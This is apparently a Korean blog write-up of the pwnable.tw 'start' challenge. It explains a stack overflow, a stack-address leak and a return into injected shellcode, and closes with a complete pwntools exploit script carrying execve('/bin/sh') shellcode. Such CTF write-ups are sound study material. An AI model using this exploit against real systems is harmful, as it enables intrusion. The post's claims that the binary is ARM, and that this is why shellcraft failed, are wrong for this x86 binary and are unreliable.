ghkdtlwns987

[pwnable.tw] start 본문

pwnable.tw

[pwnable.tw] start

2020/03/31 2020. 11. 16. 00:28

pwnable.tw start 문제이다.

보호기법 모두 disabled 라 만만히 봤다.

그냥 ret 에 쉘 코드를 쓰려 했더니 뭔가 이상했다. gdb로 main 함수를 확인해 봤는데, main 함수가 없었다.

첫 문제부터 main 함수가 없어, 결국 ida 로 봤더니 다음과 같이 나왔다.

start 와 exit 함수밖에 없었다.

다음은 start 함수이다.

어셈블리로 된 값을 보니, syscall 을 사용하는 거 같다. 

그리고, main() 함수가 없는 것으로 보니, 아마 ARM architecture 을 사용하는 것으로 보인다.

정리하자면, 32bit Linux OS 를 사용하고, ARM 을 사용했으므로 x86 Arm syscall table 을 보면 syscall 3, 4 가 뭔지 알 수 있을 것이다.

 

+ int80 -> 이 부분은 syscall 을 호출한다는 정도만 알아두자. (자세히는 나도 모름)

 

쨋든, 다음 syscall table 을 보면 

3 <- read

4 <- write 를 호출하는데, 

 

start 함수를 보면 write() 함수로 CTF~ 어쩌고를 출력하고, 

read() 함수로 값을 입력하는 구조이다. 

 

start 함수를 보면 

mov ecx, esp 부분에서 ecx 에 esp 의 주소를 저장하는데, 

이를 leak 해서 마침내 shellcode 에 도달하도록 exploit 할 것이다.

 

그럼 stack_addr(ecx) 의 주소는 어떻게 leak 하는가?

 

read() 로 입력받을 떄, ret 에 write(ecx) 와 같이 함수를 실행시켜 주면 ecx(stack_addr) 이 출력될 것으로 보인다.

한번 해 보자.

 

add esp,0x14 (맨 밑) 을 보면 20byte만큼을 입력받는 것을 알 수 있다.

 

그렇다면 payload = Dummy(20) + (mov_ecx_esp) 를 한번 넣어주면 write(ecx_esp) 가 된다.

다음과 같이 stack 값이 leak 되는 것을 알 수 있다.

 

자! 그렇다면 본격적으로 exploit 을 해보도록 하자.

 

exploit senario 는 stack_leak 한 이후에

Dummy(20) + ret(stack + 20) + shellcode 로 하면 된다. 

성공이다. 

 

 

+ asm(shellcraft.i386.sh.linux()) 로 했더니 안됬다. 아마 arm 구조라서 그런 것 같다. 

+ 추가로, 데이터를 보낼때, r.sendline() 이 아니라, r.send() 로 값을 보내야 한다.

(그 이유는 직접 알아보자 ㅎㅎ (write() 함수로 출력하고, read() 함수가 호출이 되는데, 그냥 실행하고 ENTER을 누르면 프로그램이 종료되기 때문)

 

exploit 코드는 다음과 같다.

from pwn import*
import argparse

context(arch='i386',os='linux')
context.log_level = 'debug'

parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action = 'store_true',help='remote')

args = parser.parse_args()

host = 'chall.pwnable.tw'
port = 10000

if args.remote:
    r = remote(host,port)
else:
    r = process('./start')

mov_esp_ecx = 0x8048087

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

payload = 'A'*20
payload += p32(mov_esp_ecx)

r.sendafter('CTF:',payload)
stack = u32(r.recv(4))

log.info('stack = '+hex(stack))
pause()

payload = 'A'*20
payload += p32(stack+20)
payload += shellcode

r.send(payload)
r.interactive()

 

 

flag 는 /home/start/flag 에 있다. (몰라서 해멤)

 

 

+진짜 마지막으로 앞으로 pwnable.tw 에서 올린 exploit 코드는 github에 올리고자 한다. 

git을 연습도 해볼겸 이래저래 올려보겠다.

github.com/ghkdtlwns987/pwnable

 

ghkdtlwns987/pwnable

Contribute to ghkdtlwns987/pwnable development by creating an account on GitHub.

github.com

 

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] hacknote  (0) 2020.12.07
[pwnable.tw] dubblesort  (0) 2020.11.22
[pwnable.tw] 3x17  (0) 2020.11.20
[pwnable.tw] calc  (0) 2020.11.18
[pwnable.tw] orw  (0) 2020.11.16
Comments